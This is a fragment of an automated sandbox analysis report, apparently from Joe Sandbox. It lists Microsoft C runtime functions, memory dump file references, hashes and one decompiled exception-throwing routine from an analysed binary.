    • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00F38F76
    • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00F38F7B
    • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00F38F80
      • Part of subcall function 00F393C8: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00F393D9
    • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00F38F95
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
    • String ID:
    • API String ID: 1761009282-0
    • Opcode ID: 4f886689180e3ca837076d8bda268ac29b48f4ecba1c4f0eeb9df4d560db8e57
    • Instruction ID: 69927a2615b8328fd870e96c9b01c71135168950d2a4190773b483610d9073bb
    • Opcode Fuzzy Hash: 4f886689180e3ca837076d8bda268ac29b48f4ecba1c4f0eeb9df4d560db8e57
    • Instruction Fuzzy Hash: 57C04C5551C340541D603AB16A132ED33450C633F5F9420C5F841571439ECF450B74B3
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F37A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
    Download Yara Rule
    C-Code - Quality: 84%
    			E00F37A55(intOrPtr _a4) {
				char _v16;
				intOrPtr _t8;
				char* _t10;

				_t10 =  &_v16;
				E00F37A03(_t10, _a4);
				E00F38D56( &_v16, 0xf49420);
				asm("int3");
				_t8 =  *((intOrPtr*)(_t10 + 4));
				if(_t8 == 0) {
					return "Unknown exception";
				}
				return _t8;
			}






    0x00f37a5b
    0x00f37a61
    0x00f37a6f
    0x00f37a74
    0x00f37a75
    0x00f37a7a
    0x00000000
    0x00f37a7c
    0x00f37a81

    APIs
    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00F37A61
      • Part of subcall function 00F37A03: std::exception::exception.LIBCONCRT ref: 00F37A10
    • __CxxThrowException@8.LIBVCRUNTIME ref: 00F37A6F
      • Part of subcall function 00F38D56: RaiseException.KERNEL32(?,?,00F37A54,?,?,?,?,?,?,?,?,00F37A54,?,00F493E4,?), ref: 00F38DB5
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
    • String ID: Unknown exception
    • API String ID: 1586462112-410509341
    • Opcode ID: 757ebd130654de53dbf36c36cae21b35d880d83446bda8eb411f31cb02466953
    • Instruction ID: 1c9fb742e44499109f1dd6673d57e92fa01722fcbeb3ac9854ac8377b68378fd
    • Opcode Fuzzy Hash: 757ebd130654de53dbf36c36cae21b35d880d83446bda8eb411f31cb02466953
    • Instruction Fuzzy Hash: B9D05E64E04208778F10FAA4D80194DBB6C6A14350F808469BD00D2062E76DEB06A681
    Uniqueness

    Uniqueness Score: -1.00%